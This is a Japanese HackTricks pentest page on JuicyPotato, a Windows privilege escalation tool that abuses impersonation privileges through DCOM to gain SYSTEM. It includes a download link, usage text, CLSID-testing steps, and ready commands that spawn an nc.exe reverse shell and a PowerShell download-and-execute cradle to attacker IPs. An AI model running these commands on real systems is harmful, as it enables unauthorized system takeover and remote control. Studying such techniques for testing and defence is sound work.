JuicyPotato

HackTricksをサポートする

JuicyPotatoは Windows Server 2019およびWindows 10ビルド1809以降では動作しません。ただし、PrintSpooferRoguePotatoSharpEfsPotatoを使用して、同じ特権を利用し、NT AUTHORITY\SYSTEMレベルのアクセスを取得できます。_確認してください:_

RoguePotato, PrintSpoofer, SharpEfsPotato, GodPotato

Juicy Potato (ゴールデン特権の悪用)

少しのジュースを加えた RottenPotatoNG の甘いバージョン、つまりWindowsサービスアカウントからNT AUTHORITY\SYSTEMへの別のローカル特権昇格ツール

juicypotatoはhttps://ci.appveyor.com/project/ohpe/juicy-potato/build/artifactsからダウンロードできます

概要

juicy-potatoのReadmeから:

RottenPotatoNGおよびそのバリアントは、BITS サービスに基づく特権昇格チェーンを利用し、127.0.0.1:6666でMiTMリスナーを持ち、SeImpersonateまたはSeAssignPrimaryToken特権を持っている場合に機能します。Windowsビルドレビュー中に、BITSが意図的に無効にされ、ポート6666が使用されている設定を見つけました。

私たちはRottenPotatoNGを武器化することに決めました:Juicy Potatoにこんにちはを言いましょう

理論については、Rotten Potato - サービスアカウントからSYSTEMへの特権昇格を参照し、リンクと参考文献のチェーンをたどってください。

私たちは、BITS以外にも悪用できるCOMサーバーがいくつかあることを発見しました。それらは次の条件を満たす必要があります:

  1. 現在のユーザーによってインスタンス化可能であること、通常は特権を持つ「サービスユーザー」

  2. IMarshalインターフェースを実装していること

  3. 高い権限のユーザー(SYSTEM、Administratorなど)として実行されること

いくつかのテストの後、私たちは複数のWindowsバージョンで興味深いCLSIDのリストを取得し、テストしました。

ジューシーな詳細

JuicyPotatoを使用すると:

  • ターゲットCLSID 任意のCLSIDを選択できます。 こちら でOS別に整理されたリストを見つけることができます。

  • COMリスニングポート 好みのCOMリスニングポートを定義します(ハードコーディングされた6666の代わりに)

  • COMリスニングIPアドレス 任意のIPにサーバーをバインドします

  • プロセス作成モード 偽装されたユーザーの特権に応じて、次のいずれかを選択できます:

  • CreateProcessWithTokenSeImpersonateが必要)

  • CreateProcessAsUserSeAssignPrimaryTokenが必要)

  • 両方

  • 起動するプロセス エクスプロイトが成功した場合に実行する実行可能ファイルまたはスクリプト

  • プロセス引数 起動するプロセスの引数をカスタマイズします

  • RPCサーバーアドレス ステルスアプローチのために、外部RPCサーバーに認証できます

  • RPCサーバーポート 外部サーバーに認証したい場合に便利で、ファイアウォールがポート135をブロックしている場合…

  • テストモード 主にテスト目的、つまりCLSIDのテスト。DCOMを作成し、トークンのユーザーを表示します。テストについては こちらを参照

使用法

T:\>JuicyPotato.exe
JuicyPotato v0.1

Mandatory args:
-t createprocess call: <t> CreateProcessWithTokenW, <u> CreateProcessAsUser, <*> try both
-p <program>: program to launch
-l <port>: COM server listen port


Optional args:
-m <ip>: COM server listen address (default 127.0.0.1)
-a <argument>: command line argument to pass to program (default NULL)
-k <ip>: RPC server ip address (default 127.0.0.1)
-n <port>: RPC server listen port (default 135)

最後の考え

juicy-potatoのReadmeから:

ユーザーが SeImpersonate または SeAssignPrimaryToken 権限を持っている場合、あなたは SYSTEM です。

これらのCOMサーバーの悪用を防ぐことはほぼ不可能です。DCOMCNFG を介してこれらのオブジェクトの権限を変更することを考えるかもしれませんが、うまくいくことは難しいでしょう。

実際の解決策は、* SERVICE アカウントの下で実行される敏感なアカウントとアプリケーションを保護することです。DCOM を停止することは確かにこのエクスプロイトを抑制しますが、基盤となるOSに深刻な影響を与える可能性があります。

出典: http://ohpe.it/juicy-potato/

注意: 試すためのCLSIDのリストはこちらのページを訪れてください。

nc.exeリバースシェルを取得する

c:\Users\Public>JuicyPotato -l 1337 -c "{4991d34b-80a1-4291-83b6-3328366b9097}" -p c:\windows\system32\cmd.exe -a "/c c:\users\public\desktop\nc.exe -e cmd.exe 10.10.10.12 443" -t *

Testing {4991d34b-80a1-4291-83b6-3328366b9097} 1337
......
[+] authresult 0
{4991d34b-80a1-4291-83b6-3328366b9097};NT AUTHORITY\SYSTEM

[+] CreateProcessWithTokenW OK

c:\Users\Public>

Powershell rev

.\jp.exe -l 1337 -c "{4991d34b-80a1-4291-83b6-3328366b9097}" -p c:\windows\system32\cmd.exe -a "/c powershell -ep bypass iex (New-Object Net.WebClient).DownloadString('http://10.10.14.3:8080/ipst.ps1')" -t *

新しいCMDを起動する(RDPアクセスがある場合)

CLSIDの問題

多くの場合、JuicyPotatoが使用するデフォルトのCLSIDは機能しないため、エクスプロイトが失敗します。通常、動作するCLSIDを見つけるには複数の試行が必要です。特定のオペレーティングシステムで試すためのCLSIDのリストを取得するには、このページを訪問してください:

CLSIDの確認

まず、juicypotato.exe以外のいくつかの実行可能ファイルが必要です。

Join-Object.ps1をダウンロードしてPSセッションに読み込み、GetCLSID.ps1をダウンロードして実行します。そのスクリプトはテストする可能性のあるCLSIDのリストを作成します。

次にtest_clsid.batをダウンロードし(CLSIDリストとjuicypotato実行可能ファイルへのパスを変更)、実行します。すべてのCLSIDを試し始め、ポート番号が変更されると、それはCLSIDが機能したことを意味します

-cパラメータを使用して動作するCLSIDを確認してください

参考文献

HackTricksをサポートする

Last updated